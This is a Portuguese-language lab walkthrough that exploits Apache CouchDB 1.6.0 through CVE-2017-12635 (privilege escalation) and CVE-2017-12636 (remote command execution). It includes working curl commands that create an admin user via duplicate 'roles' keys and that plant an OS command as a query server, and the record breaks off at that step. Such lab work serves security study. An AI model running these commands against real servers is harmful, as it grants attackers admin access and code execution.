dungsocool/cve-2017-12635_36Laboratório passo a passo demonstrando exploração de CVE-2017-12635 (escalonamento de privilégios) e CVE-2017-12636 (execução remota de código) contra Apache CouchDB 1.6.0, com avaliação de risco e diretrizes de remediação.
Começando com o que está em execução no ambiente. Listo todos os containers ativos:
docker ps
A vítima expõe uma única porta: 5984
⇒ Faço curl diretamente para sondar mais informações:
curl -i http://192.168.3.137:5984/
Analisando a Resposta:
Resposta: HTTP/1.1 200 OK, comprovando que o serviço na porta 5984 está ativo e pode ser acessado diretamente via HTTP.
Cabeçalho do Servidor: CouchDB/1.6.0 (Erlang OTP/17) e o corpo JSON contendo "version":"1.6.0" confirmam que se trata do Apache CouchDB versão 1.6.0.
Avaliação da Superfície de Ataque:
O serviço CouchDB está exposto externamente através da porta 5984. Esta é a porta padrão para a API HTTP do CouchDB, permitindo interação com o banco de dados por meio de uma API REST.
A versão CouchDB 1.6.0 é uma versão antiga, anterior ao patch 1.7.1. De acordo com a documentação da Apache, as versões do CouchDB nessa faixa são afetadas por:
roles duplicadas em JSON.=> Pensando: A partir da resposta obtida, há evidências suficientes para determinar que a vítima está executando Apache CouchDB 1.6.0 na porta 5984. Esta é uma versão antiga associada à cadeia de exploração de CVE-2017-12635 e CVE-2017-12636. Portanto, um caminho lógico de exploração é primeiro testar o estado de autenticação e, em seguida, avaliar o potencial de escalonamento de privilégios ou execução de comandos através da API HTTP do CouchDB.
CVE-2017-12635 explora a discrepância entre dois analisadores JSON no CouchDB. Ao enviar um documento de usuário para /_users com duas chaves roles duplicadas, o CouchDB usa a segunda chave roles para verificar os privilégios de escrita do documento, mas usa a primeira chave roles para as permissões reais do usuário após a criação. Assim, um atacante define a primeira roles como ["_admin"] e a segunda roles como [] para contornar a verificação de validação, resultando na criação de um usuário com privilégios de administrador.
Com base na documentação do CouchDB, o CouchDB armazena informações de usuário em um banco de dados especial chamado _users, onde cada documento de usuário tem um ID formatado como org.couchdb.user:<username>. Como precisamos criar um usuário chamado hacker, o endpoint utilizado é /_users/org.couchdb.user:hacker. Crio um novo usuário e atribuo a ele privilégios de administrador para ver como o servidor responde.
curl -X PUT http://192.168.3.137:5984/_users/org.couchdb.user:hacker \
-H "Content-Type: application/json" \
-d '{
"type": "user",
"name": "hacker",
"roles": ["_admin"],
"roles": [],
"password": "password123"
}'
A resposta retornada é true, comprovando que o usuário foi criado com sucesso. Realizo uma verificação usando as credenciais de admin recém-criadas: curl -u hacker:password123 http://192.168.3.137:5984/_users. O endpoint /_users é um banco de dados do sistema, que por padrão apenas administradores podem ler metadados. Se solicitado por um usuário comum → 403 Forbidden. A resposta 200 OK com informações completas do BD confirma que a conta hacker realmente possui privilégios _admin. Isso se alinha perfeitamente com a hipótese da CVE-2017-12635 no Apache CouchDB 1.6.0.
Resumo:
Verifiquei com sucesso a CVE-2017-12635 no Apache CouchDB 1.6.0. Inicialmente, a porta 5984 apenas mostrava que a API HTTP do CouchDB estava exposta. Após a identificação via curl, a resposta confirmou que o serviço é CouchDB 1.6.0, uma versão dentro da faixa de vulnerabilidade da CVE-2017-12635.
Em vez de concluir imediatamente que RCE é possível, verifiquei o fluxo de autenticação passo a passo primeiro. Ao enviar um documento de usuário para /_users com duas chaves roles duplicadas, o payload criou com sucesso o usuário hacker. Em seguida, a requisição para /_users via curl -u hacker:password123 retornou 200 OK junto com detalhes do banco de dados do sistema, comprovando que o usuário hacker possui genuinamente privilégios _admin.
Consequentemente, uma vez adquiridos privilégios de administrador no CouchDB, a superfície de ataque se expande para CVE-2017-12636, pois administradores podem alterar a configuração do CouchDB via API HTTP. Isso serve como pré-requisito para avaliar posteriormente as capacidades de execução remota de código no servidor.
⇒ Pensando: Usar os privilégios de administrador recém-adquiridos para testar a execução de comandos no nível do sistema operacional.
De acordo com a Documentação do Apache CouchDB, um Query Server é um processo externo usado pelo CouchDB para processar funções de design, como uma visão JavaScript no mecanismo MapReduce. Quando um documento de design declara um campo "language", o CouchDB usa esse valor para procurar o query server correspondente na configuração query_servers.
Se o documento de design contém "language": "javascript", o CouchDB consulta a configuração query_servers.javascript para determinar qual processo deve ser iniciado para lidar com a função map/reduce. Este é um design legítimo do CouchDB, pois o núcleo do CouchDB não executa diretamente todo o código de visão dentro do motor do banco de dados.
⇒ O problema na CVE-2017-12636 reside na capacidade de um administrador do CouchDB de modificar a configuração do servidor através da API HTTP. Algumas dessas configurações incluem caminhos para binários ou processos do sistema operacional que o CouchDB irá iniciar. Portanto, após obter privilégios de administrador a partir da CVE-2017-12635, um atacante pode modificar query_servers.<language> para apontar para um comando do SO. Ao acionar uma visão que usa o idioma correspondente, o CouchDB iniciará o comando, resultando na execução de comandos no servidor.
Fluxo de Exploração:
query_servers.cmd através do endpoint /_config."language": "cmd".query_servers.cmd e inicia o processo configurado.Escrevendo a Configuração Maliciosa do query_server
Registrar um "query server" com um nome arbitrário, cujo valor é o comando do SO:
curl -X PUT http://hacker:[email protected]:5984/_config/query_servers/cmd \
-H "Content-Type: application/json" \
-d '"id 1>/tmp/pwned 2>&1"'